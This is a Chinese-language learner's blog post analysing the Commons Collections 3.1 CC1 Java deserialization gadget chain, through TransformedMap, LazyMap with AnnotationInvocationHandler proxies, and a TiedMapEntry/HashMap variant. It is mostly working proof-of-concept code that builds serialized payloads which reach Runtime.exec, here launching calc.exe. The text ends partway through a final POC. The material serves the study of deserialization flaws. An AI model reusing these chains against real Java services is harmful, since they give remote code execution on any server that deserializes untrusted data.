commons-collections1反序列化链分析

前言

最近入了P牛的知识星球,打算搞Java安全这一块了,所以有了这一篇CC链的分析结果,从0到1学习java安全,在学习的路上碰到了不少坑,这里一起记录一下这几天的学习成果,用到的环境是jdk1.7以及commons-collections3.1,这是我第一篇关于java安全的文章,我才疏学浅,希望师傅们多多指点

有关的类介绍

ConstantTransformer

image-20220225142134781

ConstantTransformer类实现了Transformer接口,其transform方法作用是获取一个对象类型

InvokerTransformer

image-20220225142326997

InvokerTransformer类实现了Transformer和Serializable接口,重写了transform方法,他的transform方法是用反射调用指定的方法并且进行返回他的结果,这里我们可以来写个小demo

1
2
3
4
5
6
public class demo {
public static void main(String[] args) {
Transformer transformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
transformer.transform(Runtime.getRuntime());
}
}

image-20220225142646878

ChainedTransformer

image-20220225142958370

ChainedTransformer也是实现了Transformer和Serializable接口,其transform方法如上,循环调用了transformers数组里的所有transform方法,我们只要传入一个transformers数组即可

来个小demo,利用 ChainedTransformer 实现 Runtime.getRuntime().exec(“calc.exe”)

1
2
3
4
5
6
7
8
9
10
11
12
public class demo {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");
}
}

image-20220225143838766

漏洞分析

首先我们来看InvokerTransformer对象,他存在着一个构造函数如下

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

之后就是一个transform方法,传入了一个input的Object对象。这里的话很熟,我们如果能控制参数input,iMethodName,iParamTypes和iArgs,就可以调用Runtime.exec方法执行命令,除了input以外,其他三个值都是通过构造函数进行传入,说明可控

image-20220221221227624

除了上面三个参数可控以外,input参数也需要可控,并且传入的需要是Runtime的Class对象,接下来来先看ConstantTransformer类,构造函数与transform函数如下

image-20220221221758802

构造函数是把传入的constantToReturn赋值给iConstant,然后通过transform返回这个iConstant,仅仅是包装任意一个对象,在执行回调时返回

然后再来看ChainedTransformer类

image-20220221223032870

构造方法是把传入的transformers传给了自身的iTransformers属性,然后transform方法对iTransformers数组进行了遍历,他的作用是把内部的多个Transformer串在一起,就是前一个回调返回的结果作为后一个回调的参数传入,我们利用这种遍历的操作可以得到Runtime的exec方法,这里先给出两个demo,对于下面的分析是用了第二个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class demo {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
Transformer transformerChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","xxxx");
}
}

成功弹出计算器,已经成功了一点点,但是这离poc还差的比较远,这只是本地测试的一个demo

image-20220221224443119

接下来我们一步步通过调试来加深印象,直接在第一行打上断点开启调试

image-20220221233657892

首先是轮到ConstantTransformer的构造函数,把传入的constantToReturn赋值给iConstant

1
ConstantTransformer(Runtime.getRuntime())

image-20220221233749193

然后就是InvokerTransformer的构造函数,把对应的methodName,paramTypes,args传入InvokerTransformer对象

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),

构造函数执行完以后,生成了一个Transformer的数组transformers其中下标为0的表示一个ConstantTransformer对象,内容是一个Runtime对象,下标为1的表示一个InvokerTransformer对象,里面的内容是命令执行的Runtime对象对应执行的函数名和参数类型和参数

image-20220221234104127

然后就是要new一个ChainedTransformer对象,把上面的transformers对象当作参数传入

1
Transformer transformerChain=new ChainedTransformer(transformers);

主要执行的是构造函数,执行构造函数完new了一个空的Map名为innerMap

image-20220221234543001

然后就是执行decorate的方法

1
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);

image-20220221234813863

执行decorate方法直接返回一个TransformedMap对象,然后再通过TransformedMap对象的构造函数

然后通过outerMap.put(“text”,”xxxx”)放入一个新的元素,然后一直继续,直到下图为止,此时调用到了ChainedTransformer对象的transform方法,对其iTransformers属性进行遍历,此时这个属性的值是个数组,

image-20220221235312523

直到第二轮循环,object的值变成了一个Runtime对象

image-20220221235541819

接着就触发到了invokerTransformer对象的transform()方法,接着就是完成反射弹出计算器

image-20220221235610124

其实到这,已经差不多了,按照我个人的理解,就是innerMap经过decorate修饰以后变成outerMap,然后往outerMap里传入键和值的时候,会去对应的decorate的第二个和第三个参数进行处理,所以test—xxxx这里,xxxx无论传什么值都可以,因为到最后都是会拿到一个Runtime对象执行exec函数(个人理解,如果有不对的希望有师傅可以指出)

TransformedMap编写POC

上面已经通过最基本的漏洞分析来写了一个本地测试的demo,但是不能作为poc,因为这是我们手动去调用的方法,现在我们需要找自动调用,这里我选择用demo1来进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");
}
}

可以看到这个demo主要是我们手动调用transform方法,那么我们如果要把他弄成poc,需要让他自己去调用transform方法

我们需要让他自己调用transform方法的话我们就需要找到某个方法会调用这个方法,这里我们找到TransformedMap类的checkSetValue方法,这里会返回一个valueTransformer.transform(value),并且valueTransformer是通过构造方法获得的,参数可控image-20220222135927855

找到了调用transform的方法以后,我们要去寻找调用checkSetValue方法的方法,这里镜头给到AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法

image-20220222140243834

我们可以看到这里的parent是通过构造方法获取的,这里的parent也可控,所以我们需要找到调用MapEntry类的setValue方法的方法,这里我们找到AbstractInputCheckedMapDecorator类下的另外一个内部类EntrySetIterator

image-20220222143850410

这里的parent可控,通过构造方法传入,其next方法返回了一个实例化的MapEntry对象,这里继续往上寻找,找AbstractInputCheckedMapDecorator类下的另外一个内部类EntrySet

image-20220222144214750

parent也是通过构造方法赋值,也是同样可控的,在iterator()方法返回了一个实例化的EntrySetIterator对象

继续往上,找到AbstractInputCheckedMapDecorator类的entrySet方法,他实例化了一个EntrySet对象

1
2
3
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}

这里代码有点长,第二个参数this是调用者本身,就是AbstractInputCheckedMapDecorator这个类,所以parent的值也就确定了,就是调用entrySet方法的调用者,到这这条链就结束了

有的师傅可能会问这不没连接上吗,其实这里恰好AbstractInputCheckedMapDecorator类是TransformedMap父类,可以直接让this为TransformedMap,如果是这样的话传下去的parent就一直是TransformedMap类,调用的也是TransformedMap类的checkSetValue方法,但是这里如果需要能返回new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this)的话,首先得通过this.isSetValueChecking()这个方法,我们来具体看看,额这里貌似直接是返回true,但是我看其他师傅的文章这里貌似不是,想请教一下有知道的师傅

image-20220222144955106

所以这条链执行的顺序就是

AbstractInputCheckedMapDecorator.entrySet()->AbstractInputCheckedMapDecorator.EntrySet.iterator()->AbstractInputCheckedMapDecorator.EntrySetIterator.next()->AbstractInputCheckedMapDecorator.MapEntry->setValue()->TransformedMap.checkSetValue()->transform()

从此这条TransformedMap链就已经搞清楚了,接下来就可以写对应的POC了,只需要把上面的demo改一下即可,这里直接给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class demo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
hashMap.put("1","1");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry)transformedMap.entrySet().iterator().next();
next.setValue("6666");
}
}

读到这,有师傅会说这不还是手动触发setValue()方法吗,确实是酱紫的,我们要让他自动触发,必须要找到一个类中的readObject()方法在其中调用setValue()方法,这样就可以在反序列化的时候触发readObject()方法然后自动调用setValue();AnnotationInvocationHandler类的readObject方法就符合这个条件

额,前面我用的jdk1.8版本,后面发现貌似版本过高,现在使用的是jdk1.7版本,说到AnnotationInvocationHandler,我们来贴上他的源代码

image-20220222194821859

上面说到要我们手动进行setValue,我们现在发现AnnotationInvocationHandler类的readObject方法调用了setValue方法,var5就对应的上面的那个demo的next,也就是MapEntry内部类对象,然后var5是通过调用var4.next()获取的,并且var4对应transformedMap.entrySet().iterator(),在源码中var4是this.memberValues.entrySet().iterator().next(),所以这里对应是this.memberValues应该是一个TransformedMap类的对象

image-20220222195348201

this.memberValues通过构造方法赋值,实例化的时候传入TransformedMap对象即可

这里的话还需要传入this.type,我看了很多篇文章,包括网上的cc1链分析以及p牛的安全漫谈,太菜了也没看懂,这里还是就先放着,后续再来填坑,我这里就先通过往上的poc调试一下来分析

这里在AnnotationInvocationHandler:readObject的逻辑中,有一个一句对var7进行了判断,if (var7 != null)

这里要满足如下两个条件

1
2
3
1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

我们这里Retention有一个方法,是value所以为了满足第二个条件,我们下面的POC中Map要放入一个key是value的元素

从这开始打断点进行调试

image-20220222200351177

经过var2 = AnnotationType.getInstance(this.type)赋值后,var2是一个AnnotationType注解,这个注解他的memberTypes属性是一个Hashmap,键值对是value->java.lang.annotation.RetentionPolicy

image-20220222200753156

var3通过var2.memberTypes()赋值,这个方法直接返回this.memberTypes。所以var3就是HashMap键值对是value->java.lang.annotation.RetentionPolicy

image-20220222201022205

var6通过var5.getKey()方法获得,var5就是前面代码中传入的HashMap,所以等会构造POC的时候要让HashMap有一个以value为键的键值对。image-20220222201447886

接下来就是构造POC了,这里直接构造吧,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");
}
}

LazyMap编写POC

这里的话我们选择LazyMap来构造POC,跟TransformedMap攻击链相同的,要找调用transform方法的地方,在LazyMap中的get方法中,存在调用transform方法

image-20220222203307084

不一样的是,这里的构造方法是protect的,我们需要通过decorate方法创建

image-20220222203530769

但是不一样的是,这里没有地方调用这个get方法,因此我们就需要找到能调用到get方法的方法,所以我们找到了AnnotationInvocationHandler类的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

主要代码如上,可能结构有点不好,比较难看,下面再贴出关键的image-20220222210401513

这里的memberValues属性是通过构造方法传入的,所以可控,但是这里能调用到get,但是谁来调用AnnotationInvocationHandler类的invoke方法呢?

image-20220222210426649

这里的话我们选择使用动态代理来进行

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑

接下来就是使用LazyMap构造利用链

首先在之前的TransformedMap的POC基础上进行修改,把TransformedMap替换成LazyMap

1
Map outerMap = LazyMap.decorate(hashMap, chainedTransformer);

然后需要对 sun.reflect.annotation.AnnotationInvocationHandler类进行Proxy

1
2
3
4
5
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);

代理后的对象叫proxyMap,但是不能直接对他序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler的readObject 方法,所以还要用AnnotationInvocationHandler对这个proxyMap进行包裹

1
handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

最后POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class demo2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
hashMap.put("value","key");
Map outerMap = LazyMap.decorate(hashMap, chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream bo=new ByteArrayOutputStream();
ObjectOutputStream oo=new ObjectOutputStream(bo);
oo.writeObject(handler);
oo.close();
ByteArrayInputStream bi=new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o=(Object) oi.readObject();
}
}

image-20220222213544588

但是这里会存在一个问题,就是在java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler的readObject的逻辑变化了,利用不了,所以我们如果想要在高版本执行,必须要找一条新的链

所以我们还需要找到上下文中是否还有其他地方调用了LazyMap的get方法

这里我们找到org.apache.commons.collections.keyvalue.TiedMapEntry

image-20220223133616049

这里的getValue方法返回了this.map.get(this.key),并且this.map方法是通过构造方法赋值的,但是这里要执行getValue方法,必须要先执行hashCode方法,所以我们要找到一个方法能执行hashCode方法。

ysoserial中,是利⽤ java.util.HashSet的readObject 到 HashMap的put() 到 HashMap的hash(key),最后到 TiedMapEntry的hashCode() 。

image-20220223133754583

但是这里按照p牛的文章写的话,好像是可以直接在 java.util.HashMap的readObject 中就可以找到 HashMap的hash() 的调⽤

image-20220223134654124

但是hash方法中调用了key.hashCode方法,所以我们这里只要让key为TiedMapEntry对象即可

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以整条链已经出来了,链的顺序如下

1
2
3
4
5
6
7
8
9
10
java.io.ObjectInputStream.readObject();
java.util.HashMap.readObject();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalues.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalues.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();

最后的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class TestDemo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme=new TiedMapEntry(outerMap,"keykey");
Map expMap=new HashMap();
expMap.put(tme,"valuevalue");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
}
}

二战CC1链

这里的话我还是选择了重新分析一遍CC1这条链,因为刚刚复盘了一下,感觉问题还是有点多,但是细节不多说了,我直接上分析,前面说到,InvokerTransformer类下的transform存在反射调用,那么我们可以设想这里的input是一个Runtime.class,那他这我们就可以传入恶意的iMethodName,iParamTypes,以及iArgs来执行任意命令,所以说InvokerTransformer类的transform方法就是我们链的终点

image-20220227195904721

我们这里可以尝试一下直接调用InvokerTransformer的transform方法来完成命令执行,这里可以写个小demo来尝试一下弹出计算器

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class demo {
public static void main(String[] args) {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);
}
}

image-20220227201330045

这里很好理解,InvokerTransformer的transform方法就是接收你传进去的函数名和函数的参数类型以及参数值,他去返回执行的结果,就是这么简单,除了InvokerTransformer类以外,我们还需要用到ConstantTransformer类,主要用到的是ConstantTransformer类的transform方法,他返回了自己的iConstant属性值image-20220227201922522

除此之外,还有ChainedTransformer类的transfrom方法,他递归调用了iTransformers数组里的每个类的transform方法,把前面执行的结果作为后面的参数进行传入

image-20220227202037703

这里的话我们可以通过这三个类,来重新写一下那个demo,让他弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class demo {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

image-20220227202639257

其实到这里已经完成了一半了,我们已经使用这三个类构造了一条链了,我们只需要找到谁调用了ChainedTransformer的transform方法即可

这里的话我们有两种选择,一种是TransformedMap,一种是LazyMap,我们来逐步分析,先来分析TransformedMap的吧,我们可以看到,在TransformedMap的checkSetValue方法中返回了valueTransformer.transform(value),如果这里的valueTransformer可控,那就可以调用上面的ChainedTransformer的transform方法

image-20220227203314560

如下我们可以看到,TransformerMap构造函数虽然是protected的,但是我们可以调用他的decorate来调用他的构造函数,让我们可以传入恶意的valueTransformer值,这里的TransformerMap的decorate大概可以理解为对map的键和值进行一个转化,对键用keyTransformer来转化,对值用valueTramsformer来转化,就大概是这么个意思

image-20220227203358587

接下来我们的目标就是寻找调用了这个checkSetValue方法的类,继续查找用法,结果在AbstractInputCheckedMapDecorator这个类下的内部类MapEntry的setValue方法中调用了checkSetValue方法,这里的parent是AbstractInputCheckedMapDecorator类

image-20220227203847068

这里的MapEntry其实就大概用于遍历map,他这里重写了一个setValue,所以我们只要遍历一下即可,这里先写一个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
for (Map.Entry entry: transformedMap.entrySet() ){
entry.setValue("ch1e");
}
}
}

image-20220227211132819

这里的话就能成功弹出计算器,我们这里的话只需要找到一个地方能调用setValue即可,最好是在readObject方法中,那样的话我们这条链就直接完成了,我们这里的话找到AnnotationInvocationHandler类的readObject方法

image-20220228163435546

这个函数里的处理过程其实和我们刚刚那个demo的for循环遍历Map比较相似,只是需要进入两个if语句

image-20220228163641615

如上是AnnotationInvocationHandler类的构造函数,我们可以传入一个Annotation的子类对象和一个Map对象,这里的话Map就使用我们刚刚的那个chainedTransformer即可

这里的话有两个点需要注意,就是AnnotationInvocationHandler没用使用public修饰,需要通过反射获取,然后调用他的构造函数,这个简单,等会直接在demo里写出来,这样写完以后,我们还是没法进行弹计算器,这里在AnnotationInvocationHandler的readObject,我们可以发现没有进入上面说到的两个if语句,调用不了setValue,导致利用失败

image-20220228165803800

这里的话我们直接分析吧,他在最外面使用了一个for遍历memberValues里的键值对,memberType获取的是memberTypes.get(name),这里的name是键值对中的键,主要意思是要在memberTypes中找到有键为name的键值对,我们分析过,memberType在构造方法中传入的是一个Annotation的子类,这其实就是一个注解,大概可以理解为在memberTypes中有一个方法,并且要在传入的memberValues参数中有一个以这个方法名为键的键值对。这里我们可以使用Target和Retention,他们都有一个名字叫value的方法image-20220228170440028

image-20220228170447653

搞清楚原因后,我们把map里的键改为value即可,成功弹出计算器

image-20220228170524993

这里的话使用TransformedMap这条链已经搞清楚了,接下来来看使用LazyMap的这条链(LazyMap顾名思义他比较懒,在调用get方法的时候才把value弄出来)

LazyMap和TransformedMap一样,也是找调用transform的地方,这里我们找到LazyMap的get方法,里面调用了transform方法,如图,这里是map里有这个key就返回,没key就进入if语句把key处理以后,把key和value弄到map里,然后返回一个value

image-20220228171712278

这里的话他的构造方法是protected的,但是我们可以调用他的decorate来调用他的构造方法,并且初始化一个对象

image-20220228172201497

继续寻找调用了get方法的类,但是这里比较多,就不一个个放出来了,最后是找到AnnotationInvo实现了InvocationHandler接口,我们只要在外面调用任意方法,他就会调用这个invoke

image-20220228172617972

除此之外,我们要走到get方法这里,还需要满足上面的条件,上面两个if分别是不能调用equals方法以及必须调用无参方法,不然就会提前结束走不到get那这里的话在AnnotationInvocationHandler.readObject()刚好有满足的地方,这里的话我自己也理解了很久,这就仔细说一下吧,动态代理分为一个委托类和一个代理类,然后代理类只要调用了委托类的任意方法,都会调用代理类的invoke方法这里的话只要把memberValues对应的类当成代理类,LazyMap当作委托类,执行代理类的entrySet方法,就会执行AnnotationInvocationHandler的invoke方法

image-20220228175330824

这里的话思路就有了,下面直接来写poc吧,我们需要通过反射获得一个AnnotationInvocationHandler类,然后调用他的构造函数获得到一个对象,然后代理一个类,这个类就是我们需要在实例化对象的时候传入的那个memberValues

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1lazy {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
